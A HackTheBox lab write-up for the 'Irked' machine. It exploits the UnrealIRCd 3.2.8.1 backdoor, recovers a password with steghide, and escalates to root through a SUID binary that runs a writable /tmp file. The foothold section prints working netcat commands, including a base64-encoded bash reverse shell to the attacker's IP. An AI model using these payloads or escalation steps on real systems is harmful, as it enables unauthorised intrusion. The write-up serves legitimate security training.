Overview

Irked is an easy HackTheBox Linux machine centred on UnrealIRCd 3.2.8.1, a version that shipped with a well-known trojanised backdoor (CVE-2010-2075) triggered by prefixing a command with AB and sending it to the IRC service. Lateral movement to a second user relies on a steghide-protected password hidden inside an image found on the webserver, and privilege escalation abuses a SUID binary that executes a relative-path file the current user can create and control.

Attack Chain

  • Scan the target and identify SSH, HTTP, RPC, and several IRC-related ports, including 6697 and 8067
  • Find a page on port 80 hinting that “IRC is almost working”
  • Connect to UnrealIRCd on port 8067 with irssi and confirm the version, Unreal 3.2.8.1
  • Identify the version’s known backdoor, CVE-2010-2075
  • Trigger the backdoor manually with netcat on port 65534, confirming command execution via ping and tcpdump
  • Base64-encode a reverse shell payload and pipe it through the backdoor to get a shell as ircd
  • Find a readable .backup file in another user’s home directory hinting at steganography
  • Download an image from the webserver and use steghide with the recovered passphrase to extract a password
  • Use the extracted password to SSH in as djmardov and read the user flag
  • Find an unusual SUID binary, viewuser, that references a relative path, /tmp/listusers
  • Create and control that file to have viewuser execute arbitrary commands as root
  • Get a root shell and read the root flag

Enumeration

Port Scanning

We start by defining the target and running a full TCP port scan.

export IP=10.129.17.78; export NAME=IRKED; echo $IP; echo $NAME; ping $IP -c 1

nmap --min-rate 4500 --max-rtt-timeout 1500ms $IP -p- -v -oA scans/nmap_allports_$NAME

The open TCP ports are:

22,80,111,6697,8067,37773,65534

We export the discovered ports and run a service and version scan.

ports=$(cat scans/nmap_allports_$NAME.nmap | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//); echo $ports

nmap $IP -p$ports -A -oA scans/nmap_initial_$NAME -v

nmap results


Web and IRC Enumeration

Port 80 - HTTP

Browsing to port 80 shows a page that reads IRC is almost working.

IRC is almost working page

Port 8067 - UnrealIRCd

We have UnrealIRCd on port 8067. We use irssi to see if we can connect.

irssi -c $IP --port 8067

We aren’t allowed to register, but we learn the host is irked.htb and the version is Unreal 3.2.8.1.

irssi connection revealing the IRCd version

This version has a known remote code execution backdoor, CVE-2010-2075. We find public exploits:

https://www.exploit-db.com/exploits/13853
https://github.com/Ranger11Danger/UnrealIRCd-3.2.8.1-Backdoor

We can also trigger it manually.


Foothold

Triggering the Backdoor

We echo a command prefixed with AB, the characters that trigger the bypass to system(), and pipe it to nc, targeting the IP and backdoor port 65534.

We first try wget, sending a request to a Python server on our attacking machine:

echo "AB; wget http://10.10.14.189/test" | nc $IP 65534

wget backdoor attempt

We get no response on our Python web server, so we try ping instead. We start tcpdump to watch for it:

sudo tcpdump -i tun0 icmp

Our ping command:

echo "AB; ping 10.10.14.189 -c 2" | nc $IP 65534

ping backdoor command

We see two ping requests arrive from the target, confirming command execution.

tcpdump receiving the ping requests

Reverse Shell as ircd

A number of direct reverse shell payloads don’t work. What does work is base64-encoding the payload, then echoing the encoded string, decoding it, and piping the result to bash.

We start a penelope listener on port 443. The base64-encoded payload:

echo "AB; bash -i >& /dev/tcp/10.10.14.189/443 0>&1" | base64

base64-encoding the reverse shell payload

The encoded payload, decoded and piped to bash through the backdoor:

echo "AB; echo QUI7IGJhc2ggLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTQuMTg5LzQ0MyAwPiYxCg== | base64 -d | bash" | nc $IP 65534

sending the base64-decoded bash payload

We catch a shell as ircd.

shell as ircd


Lateral Movement

Finding the .backup File

We look for readable files in the other user’s home directory.

find /home/djmardov -type f -readable 2>/dev/null

We find a file called .backup.

finding the .backup file

Inside it is a password with a description hinting at steganography.

password hint referencing steganography

UPupDOWNdownLRlrBAbaSSss

Extracting a Password with Steghide

An image is hosted on the webserver. We download it to our attacking machine to try the steganography passphrase against it.

irked.jpg hosted on the webserver

We use steghide to extract data from irked.jpg.

steghide extract -p UPupDOWNdownLRlrBAbaSSss -sf irked.jpg

This gives us a password.

extracting a password with steghide

Kab6h+m+bbp2J:HG

SSH as djmardov

We use the extracted password to establish an SSH session as djmardov.

SSH session as djmardov

We read the user flag.

user flag


Privilege Escalation

Finding an Unusual SUID Binary

We look for SUID binaries on the system.

find / -type f -perm -04000 -ls 2>/dev/null

There’s an out-of-the-ordinary SUID binary called viewuser.

SUID binary viewuser

Running it returns an error that /tmp/listusers is not found.

viewuser error - missing file

Controlling the Relative Path

We create the missing file and run the binary again.

touch /tmp/listusers

This time we get a Permission denied error.

touch listusers then permission denied

Checking /tmp/listusers’s permissions shows that everyone can read the file, so we just need execute permission for all.

checking listusers permissions

chmod a+x /tmp/listusers

chmod a+x on listusers

Running the binary again produces no error messages, which means it’s executing /tmp/listusers.

viewuser executing listusers with no error

Escalating to root

We try a basic whoami inside /tmp/listusers.

echo "whoami" > /tmp/listusers

Executing the binary again shows the output of our whoami command as root.

whoami executed as root

We add /bin/bash to /tmp/listusers and execute the binary again.

placing /bin/bash in listusers

We get a shell as root.

root shell

We read the root flag.

root flag


Key Takeaways

Irked shows how a single, well-documented supply-chain compromise, the trojanised UnrealIRCd 3.2.8.1 release, can still be found running years later and provide trivial initial access. Steganography adds an extra layer of obfuscation for lateral movement, but the real lesson is in the privilege escalation: a SUID binary that trusts a relative, world-writable path effectively hands root execution to whoever controls that file. Being able to create, own, and set the permissions on /tmp/listusers was all that stood between a low-privileged shell and root.